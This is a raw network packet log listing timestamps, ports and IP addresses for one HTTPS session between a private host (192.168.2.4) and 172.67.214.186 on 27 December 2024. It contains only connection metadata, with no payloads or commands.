Dec 27, 2024 10:22:07.930490971 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.930500031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.930525064 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.930557013 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.936506033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.936527967 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.936558008 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.936568022 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.936583996 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.936606884 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.941515923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.941533089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.941591978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.941602945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.941644907 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.947123051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.947141886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.947205067 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.947221994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.947264910 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.109941959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.109962940 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.110027075 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.110054970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.110099077 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.115641117 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.115658998 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.115731955 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.115758896 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.115804911 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.121259928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.121305943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.121342897 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.121377945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.121396065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.121422052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.127011061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.127039909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.127079964 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.127095938 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.127249956 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.127249956 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.132002115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.132025003 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.132091999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.132110119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.132164955 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.137345076 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.137367010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.137429953 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.137445927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.137479067 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.137512922 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.143062115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.143081903 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.143146992 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.143163919 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.143217087 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.148686886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.148703098 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.148771048 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.148794889 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.148842096 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.311342001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.311359882 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.311491013 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.311561108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.311624050 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.317058086 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.317075968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.317162037 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.317179918 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.317229033 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.323080063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.323093891 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.323199987 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.323236942 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.323303938 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.328392982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.328408957 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.328489065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.328509092 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.328553915 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.333417892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.333432913 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.333524942 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.333540916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.333587885 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.339445114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.339461088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.339541912 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.339570045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.339618921 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.344460964 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.344477892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.344537973 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.344564915 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.344613075 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.350177050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.350209951 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.350502968 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.350559950 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.350625992 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.513437033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.513465881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.513587952 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.513670921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.513735056 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.518457890 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.518532991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.518547058 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.518573046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.518605947 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.518625021 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.524045944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.524063110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.524133921 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.524152994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.524199963 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.529110909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.529126883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.529190063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.529207945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.529252052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.534799099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.534816980 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.534877062 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.534892082 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.534941912 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.540127039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.540142059 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.540208101 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.540224075 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.540273905 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.545846939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.545866013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.545943975 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.545962095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.546004057 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.551700115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.551717043 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.551794052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.551812887 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.551861048 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.714193106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.714210033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.714320898 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.714354038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.714406967 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.719788074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.719803095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.719891071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.719907999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.719973087 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.725410938 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.725425959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.725508928 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.725528002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.725579023 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.730456114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.730468988 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.730550051 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.730567932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.730612040 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.736172915 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.736187935 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.736239910 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.736255884 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.736284018 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.736301899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.741655111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.741672993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.741775990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.741790056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.741836071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.747224092 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.747245073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.747306108 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.747342110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.747384071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.752818108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.752835035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.752904892 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.752922058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.752973080 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.915477991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.915494919 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.915570021 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.915602922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.915652990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.921164989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.921179056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.921257019 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.921272993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.921319962 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.926784992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.926808119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.926852942 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.926863909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.926891088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.926904917 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.932498932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.932512999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.932593107 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.932606936 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.932642937 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.937570095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.937583923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.937666893 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.937678099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.937737942 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.942795038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.942811012 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.942874908 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.942884922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.942922115 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.948575020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.948590994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.948657036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.948667049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.948704004 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.954200983 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.954224110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.954298973 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:08.954309940 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:08.954349995 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.117302895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.117321968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.117398977 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.117414951 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.117454052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.123006105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.123029947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.123080015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.123095989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.123122931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.123136997 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.128043890 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.128057957 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.128129959 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.128140926 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.128180027 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.133616924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.133630991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.133696079 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.133704901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.133738995 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.139395952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.139409065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.139468908 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.139480114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.139518976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.144673109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.144690990 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.144773960 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.144783020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.144828081 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.150418997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.150435925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.150489092 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.150497913 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.150538921 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.155493975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.155508041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.155559063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.155569077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.155610085 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.318783045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.318800926 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.318872929 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.318890095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.318928957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.324395895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.324410915 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.324466944 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.324475050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.324516058 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.329389095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.329401970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.329458952 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.329467058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.329509020 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.330916882 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.330976963 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.336657047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.336671114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.336730957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.336739063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.342012882 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.342042923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.342082024 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.342092991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.342119932 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.346973896 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.346987963 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.347049952 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.347062111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.352768898 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.352787971 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.352832079 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.352842093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.352874994 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.401962042 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.516617060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.516625881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.516735077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.516745090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.516777039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.516812086 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.516812086 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.516820908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.516859055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.521795988 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.521811962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.521883011 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.521900892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.521944046 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.526912928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.526930094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.527015924 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.527026892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.527069092 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.532428026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.532444954 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.532521009 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.532530069 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.532568932 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.538125992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.538141966 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.538197041 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.538229942 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.538269997 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.543447971 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.543477058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.543513060 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.543540001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.543561935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.543580055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:09.549175978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:09.549196005 CET	443	49745	172.67.214.186	192.168.2.4
